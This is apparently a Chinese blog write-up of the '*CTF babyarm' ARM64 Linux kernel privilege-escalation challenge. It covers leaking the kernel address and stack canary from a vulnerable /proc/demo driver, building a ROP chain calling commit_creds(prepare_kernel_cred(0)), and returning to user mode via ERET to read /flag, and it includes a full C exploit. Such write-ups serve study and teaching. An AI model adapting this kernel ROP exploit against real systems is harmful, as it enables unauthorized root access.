本文从漏洞分析、ARM64架构漏洞利用方式来讨论如何构造提权PoC达到读取root权限的文件。此题是一个ARM64架构的Linux 5.17.2 版本内核提权题目,目的是读取root用户的flag文件。

概况

题目默认开启了KASLR地址随机化和PXN防护,指定CPU核心数量为一,线程为一。

使用cpio命令分离出驱动模块后放到IDA查看,只实现了readwrite函数的功能,功能相当简单。read函数把内核栈内容拷贝到全局变量demo_buf,然后再把demo_buf的内容拷贝到用户态缓冲区,长度不超过0x1000。其他不重要的信息可以不用看:

write函数把用户态缓冲区内容拷贝到demo_buf,然后将demo_buf内容拷贝到内核栈中,同样长度不超过0x1000:

利用思路

知道模块的基本功能之后,现在来考虑利用方式。

  • 首先,题目启动脚本中没有给定nokaslr,默认开启地址随机化,需要泄露内核地址,当然还有canary。并且ARM架构下默认开启了PXN,内核无法直接执行用户态代码,需要使用ROP技术。
  • 上一步泄露完成之后,可以获得kernel中的gadget地址,以此来构造ROP,执行commit_creds(prepare_kernel_cred(0))提升进程权限,返回用户态,并fork一个新的shell,就可以继承父进程的权限完成提权

编写PoC

第一步的泄露很简单,直接使用read函数功能就可以达到目的,代码如下:

int fd = open("/proc/demo",2);

size_t leak[0x200] = {0};
read(fd, leak, 0x1f8);
for (int i = 0; i < 100; i++)
{
printf("id %d : 0x%llx\n",i,leak[i]);
}

这里编译的时候需要使用交叉编译为ARM64的程序。交叉编译环境的安装方式很简单:

sudo apt-get install emdebian-archive-keyring
sudo apt-get install linux-libc-dev-arm64-cross libc6-arm64-cross
sudo apt-get install binutils-aarch64-linux-gnu gcc-8-aarch64-linux-gnu
sudo apt-get install g++-8-aarch64-linux-gnu

编译exp:

aarch64-linux-gnu-gcc-8 -static exp.c -o exp

重新打包后运行exp,根据泄露的结果得知第3个值是内核代码地址,第13个值是canary

用ARM64的基础加载地址 0xffff800008000000 算出内核基址、commit_credsprepare_kernel_cred的地址:

size_t commit_creds, prepare_kernel_cred = 0;
size_t kernel_base,offset = 0; size_t kernel_addr = leak[2];
size_t canary = leak[12]; offset = kernel_addr - 0xffff8000082376f8;
kernel_base = 0xffff800008000000 + offset; commit_creds = kernel_base + 0xa2258;
prepare_kernel_cred = kernel_base + 0xa24f8;

接下来要考虑如何构造ROP链,如何返回用户态。

这里先了解一下ARM64汇编指令和x86_64指令的区别:

  • x86_64指令六个参数为RDI、RSI、RDX、RCX、R8、R9,函数结束时使用LEAVERET平衡栈,返回值放在RAX寄存器中,RET指令会使RSP+8
  • ARM64有X0~X30这些寄存器,参数一为X0寄存器,返回值同样使用X0寄存器,栈指针为SP寄存器,PC寄存器存储当前指令,使用LDP X29, X30, [SP] 这种方式给X29和X30寄存器赋值,当RET指令时将X30寄存器值给PC寄存器,但RET指令不会使SP+8,也就是说ARM64不会像X86那样频繁移动栈顶

根据以上结论,我们需要控制ARM64的执行流,就需要控制X30寄存器,并给参数寄存器X0赋值。而现在内核栈是我们可控的,那么理论上就可以控制PC指针。

首先调用prepare_kernel_cred(0),参数为0,需要将X0赋值为0,ROPgadget工具不是很好用,直接手动找,在内核文件中找到如下gadget:

这一部分控制了很多寄存器,可以极大的方便我们后续操作。通过调试偏移写出payload如下:

	size_t gadget2 = kernel_base + 0x16950;

	leak[13] = 0x4141414141414141;
leak[14] = 0x4141414141414141;
leak[16] = canary;
leak[18] = gadget2;
leak[21] = 0x8888888888888888;
leak[22] = prepare_kernel_cred;

调试的时候发现一个问题,因为ARM64的RET指令并不会使用栈中的数据作为返回地址,而是使用X30寄存器的值,在prepare_kernel_cred函数结束后,由于X30寄存器还是之前的值,又再次执行了prepare_kernel_cred,这显然不是想要的结果。这里先看看ARM程序是怎么开辟栈帧的:

这是在内核中随便找的函数,不用考虑这个函数做了什么,重点关注第一条指令和最后两条指令,第一条指令将X29和X30寄存器放入到栈中,最后两条指令平衡栈。如果去掉第一条指令,那么在平衡栈的时候就会将我们构造的内容给X29和X30。这里也看到ARM不像x86那样可以通过加减地址来获得不同的指令,ARM指令必须以四字节对齐为一个指令。所以在执行prepare_kernel_cred时应该地址加上四字节,执行commit_creds函数也是同理。调试修改上面的payload为如下:

	leak[13] = 0x4141414141414141;
leak[14] = 0x4141414141414141;
leak[16] = canary;
leak[18] = gadget2;
leak[19] = 0;
leak[20] = 0;
leak[21] = 0x8888888888888888;
leak[22] = prepare_kernel_cred + 4;
leak[32] = commit_creds + 4;
leak[36] = gadget2;
leak[37] = 0x7777777777777777;
leak[38] = canary;
leak[39] = 0x2222222222222222;
leak[40] = 0x3333333333333333;

执行完commit_creds(prepare_kernel_cred(0))后,当前exp进程的cred结构体已经是root,但内核栈已经被我们破坏掉了,继续执行会导致内核崩溃重启,此时需要手动返回用户态起shell。

需要知道的是ARM64使用SVC指令进入内核态,使用ERET指令返回用户态,同x86一样,ARM在进入内核态之前会保存用户态所有寄存器状态,在返回时恢复。其中比较重要的寄存器有SP_EL0、ELR_EL1、SPSR_EL1,它们保存内容分别如下:

  • SP_EL0保存用户态的栈指针
  • ELR_EL1保存要返回的用户态PC指针
  • SPSR_EL1保存一个值,暂不知道是何用处,但他的值是固定的0x80001000

我们手动恢复这几个寄存器,然后在调用ERET时就可以返回用户态执行函数了。而要找到恢复这些寄存器的gadget可以直接在调试器中单步跟随,找到内核何时返回用户态,然后直接使用这些gadget就行。内容如下:

   0xffff800008011fe4:	msr	sp_el0, x23
0xffff800008011fe8: tst x22, #0x10
0xffff800008011fec: b.eq 0xffff800008011ff4 // b.none
0xffff800008011ff0: nop
0xffff800008011ff4: ldr x0, [x28, #3432]
0xffff800008011ff8: b 0xffff800008012024 0xffff800008012024: msr elr_el1, x21
0xffff800008012028: msr spsr_el1, x22
0xffff80000801202c: ldp x0, x1, [sp]
0xffff800008012030: ldp x2, x3, [sp, #16]
0xffff800008012034: ldp x4, x5, [sp, #32]
0xffff800008012038: ldp x6, x7, [sp, #48]
0xffff80000801203c: ldp x8, x9, [sp, #64]
0xffff800008012040: ldp x10, x11, [sp, #80]
0xffff800008012044: ldp x12, x13, [sp, #96]
0xffff800008012048: ldp x14, x15, [sp, #112]
0xffff80000801204c: ldp x16, x17, [sp, #128]
0xffff800008012050: ldp x18, x19, [sp, #144]
0xffff800008012054: ldp x20, x21, [sp, #160]
0xffff800008012058: ldp x22, x23, [sp, #176]
0xffff80000801205c: ldp x24, x25, [sp, #192]
0xffff800008012060: ldp x26, x27, [sp, #208]
0xffff800008012064: ldp x28, x29, [sp, #224]
0xffff800008012068: nop
0xffff80000801206c: nop
0xffff800008012070: nop

观察这两段gadget,这些寄存器我们都可以控制,这就比较简单了,直接拿过来用就可以了,并且在执行完这段gadget后,会自动执行ERET指令,其实这段函数就是内核返回用户态的代码。指定上面三个关键寄存器的值,用户态栈地址可以随意指定一个,内核只做地址校验,并不会触发panic,ELR_EL1构造为用户态代码地址,最后修改payload如下:

	leak[13] = 0x4141414141414141;
leak[14] = 0x4141414141414141;
leak[16] = canary;
leak[18] = gadget2;
leak[19] = 0;
leak[20] = 0;
leak[21] = 0x8888888888888888;
leak[22] = prepare_kernel_cred + 4;
leak[32] = commit_creds + 4;
leak[33] = 0x1111111111111111; leak[36] = gadget2;
leak[37] = 0x7777777777777777;
leak[38] = canary;
leak[39] = 0x2222222222222222;
leak[40] = 0x3333333333333333;
leak[41] = (size_t)leak; // x29 far_el1=0x00ffffc150b790 leak[42] = kernel_base + 0x11fe4; // x30 leak[43] = 0x6666666666666666; // x19
leak[44] = 0x7777777777777777; // x20
leak[45] = (size_t)shell; // x21 elr_el1=0x41f518
leak[46] = 0x80001000; // x22 spsr_el1=0x80001000
leak[47] = (size_t)leak; // x23 sp_el0=0x00ffffc150b790
leak[48] = 0x2222222222222222; // x24
leak[49] = 0x3333333333333333; // x25
leak[51] = 0x4444444444444444;

完整PoC如下,最后执行system("/bin/sh")时,在clone系统调用时会失败,原因可能是因为某个ARM寄存器未还原,触发了缺页机制,会分配一个新的页,最后PC指针指向这个非法地址,无法获取shell,所以改成了ORW的方式读取flag:

#include <stdio.h>
#include <stdlib.h>
#include <linux/types.h>
#include <fcntl.h>
#include <string.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/wait.h> size_t commit_creds, prepare_kernel_cred = 0; // 0xffff8000080a2258 0xffff8000080a24f8
size_t kernel_base,offset = 0; // 0xffff800008000000
size_t gadget2 = 0; void shell(void)
{
// int uid = getuid();
// printf("uid == %d\n",uid);
// system("/bin/sh");
char buf[0x40] = {0};
int fd = open("/flag",0);
read(fd, buf, 0x40);
write(1, buf, 0x40);
} int main()
{
int fd = open("/proc/demo",2);
if (fd < 0)
{
puts("open error");
exit(-1);
} size_t leak[0x200] = {0}; read(fd, leak, 0x1f8);
for (int i = 0; i < 36; i++)
{
printf("id %d : 0x%llx\n",i,leak[i]);
}
size_t kernel_addr = leak[2];
size_t canary = leak[12];
printf("kerenl_addr== 0x%llx , canary == 0x%llx\n",kernel_addr,canary); offset = kernel_addr - 0xffff8000082376f8;
kernel_base = 0xffff800008000000 + offset; //ffffd587d10a2258 0xffffd587d10a2258,
commit_creds = kernel_base + 0xa2258;
prepare_kernel_cred = kernel_base + 0xa24f8;
gadget2 = kernel_base + 0x16950; printf("kerenl_base== 0x%llx ,commit_creds == 0x%llx, prepare_kernel_cred == 0x%llx\n",kernel_base,commit_creds,prepare_kernel_cred);
printf("%p\n",leak); leak[13] = 0x4141414141414141;
leak[14] = 0x4141414141414141;
leak[16] = canary;
leak[18] = gadget2;
leak[19] = 0;
leak[20] = 0;
leak[21] = 0x8888888888888888;
leak[22] = prepare_kernel_cred + 4;
leak[32] = commit_creds + 4;
leak[33] = 0x1111111111111111;
leak[36] = gadget2;
leak[37] = 0x7777777777777777;
leak[38] = canary;
leak[39] = 0x2222222222222222;
leak[40] = 0x3333333333333333;
leak[41] = (size_t)leak; // x29 far_el1=0x00ffffc150b790
leak[42] = kernel_base + 0x11fe4; // x30
leak[43] = 0x6666666666666666; // x19
leak[44] = 0x7777777777777777; // x20
leak[45] = (size_t)shell; // x21 elr_el1=0x41f518
leak[46] = 0x80001000; // x22 spsr_el1=0x80001000
leak[47] = (size_t)leak; // x23 sp_el0=0x00ffffc150b790
leak[48] = 0x2222222222222222; // x24
leak[49] = 0x3333333333333333; // x25
leak[51] = 0x4444444444444444; write(fd, leak, 0x200);
close(fd); return 0;
};

完成读取root权限的文件flag:

*CTF babyarm内核题目分析的更多相关文章

  1. MINIX3 内核时钟分析

    MINIX3 内核时钟分析  4.1 内核时钟概要  先想想为什么 OS 需要时钟?时钟是异步的一个非常重要的标志,设想一下,如 果我们的应用程序需要在多少秒后将触发某个程序或者进程,我们该怎么做到? ...

  2. mkimage工具 加载地址和入口地址 内核启动分析

    第三章第二节 mkimage工具制作Linux内核的压缩镜像文件,需要使用到mkimage工具.mkimage这个工具位于u-boot-2013. 04中的tools目录下,它可以用来制作不压缩或者压 ...

  3. 第3阶段——内核启动分析之start_kernel初始化函数(5)

    内核启动分析之start_kernel初始化函数(init/main.c) stext函数启动内核后,就开始进入start_kernel初始化各个函数, 下面只是浅尝辄止的描述一下函数的功能,很多函数 ...

  4. 几个常用内核函数(《Windows内核情景分析》)

    参考:<Windows内核情景分析> 0x01  ObReferenceObjectByHandle 这个函数从句柄得到对应的内核对象,并递增其引用计数. NTSTATUS ObRefer ...

  5. [1]windows 内核情景分析---说明

    本文说明:这一系列文章(笔记)是在看雪里面下载word文档,现转帖出来,希望更多的人能看到并分享,感谢原作者的分享精神. 说明 本文结合<Windows内核情景分析>(毛德操著).< ...

  6. windows内核情景分析之—— KeRaiseIrql函数与KeLowerIrql()函数

    windows内核情景分析之—— KeRaiseIrql函数与KeLowerIrql()函数 1.KeRaiseIrql函数 这个 KeRaiseIrql() 只是简单地调用 hal 模块的 KfRa ...

  7. Linux内核源代码分析方法

    Linux内核源代码分析方法   一.内核源代码之我见 Linux内核代码的庞大令不少人"望而生畏",也正由于如此,使得人们对Linux的了解仅处于泛泛的层次.假设想透析Linux ...

  8. Netlink 内核实现分析(二):通信

    在前一篇博文<Netlink 内核实现分析(一):创建>中已经较为具体的分析了Linux内核netlink子系统的初始化流程.内核netlink套接字的创建.应用层netlink套接字的创 ...

  9. 《LINUX3.0内核源代码分析》第二章:中断和异常 【转】

    转自:http://blog.chinaunix.net/uid-25845340-id-2982887.html 摘要:第二章主要讲述linux如何处理ARM cortex A9多核处理器的中断.异 ...

随机推荐

  1. 还在担心CC攻击? 让我们来了解它, 并尽可能将其拒之服务之外.

    还在担心CC攻击? 让我们来了解它, 并尽可能将其拒之服务之外. CC攻击是什么? 基本原理 CC原名为ChallengeCollapsar, 这种攻击通常是攻击者通过大量的代理机或者肉鸡给目标服务器 ...

  2. java高级用法之:调用本地方法的利器JNA

    目录 简介 JNA初探 JNA加载native lib的流程 本地方法中的结构体参数 总结 简介 JAVA是可以调用本地方法的,官方提供的调用方式叫做JNI,全称叫做java native inter ...

  3. Android studio Error occurred during initialization of VM

    Unable to start the daemon process. This problem might be caused by incorrect configuration of the d ...

  4. Spring MVC的异常处理 ?

    可以将异常抛给Spring框架,由Spring框架来处理:我们只需要配置简单的异常处理器,在异常处理器中添视图页面即可.

  5. JavaScript的一些实用操作(逐步添加)

    1.js代码简洁高效计时 console.time('a'); //记录时间开始 ... console.timeEnd('a'); //记录时间结束 a: 12857.81103515625ms / ...

  6. Java中如何声明方法?JavaScript中如何声明函数?

    public void method(){ } //实例方法 Function Declaration 可以定义命名的函数变量,而无需给变量赋值.Function Declaration 是一种独立的 ...

  7. django-debug-toolbar 开发利器的使用教程

    django-debug-toolbar介绍 django-debug-toolbar 是一组可配置的面板,可显示有关当前请求/响应的各种调试信息,并在单击时显示有关面板内容的更多详细信息. 下载安装 ...

  8. 修改if-else多层嵌套的方法

    例子:在判断三角形形状的一个程序中,会出现 if-else 的多层嵌套,可利用程序的顺序执行结构重构代码,使其更可读.如果还想保证代码的安全性,可以用函数封装这段代码. #include <st ...

  9. js技术之根据name获取input的值

    一.前端的代码 <p>Name: <input type='text', name = 'name'/></p> <p>Age: <input t ...

  10. Android M 版本以后的特殊权限问题分析

    现象 桌面悬浮框在6.0以后,会因为SYSTEM_ALERT_WINDOW权限的问题,无法在最上层显示. 问题原因 SYSTEM_ALERT_WINDOW,设置悬浮窗,进行一些黑科技 WRITE_SE ...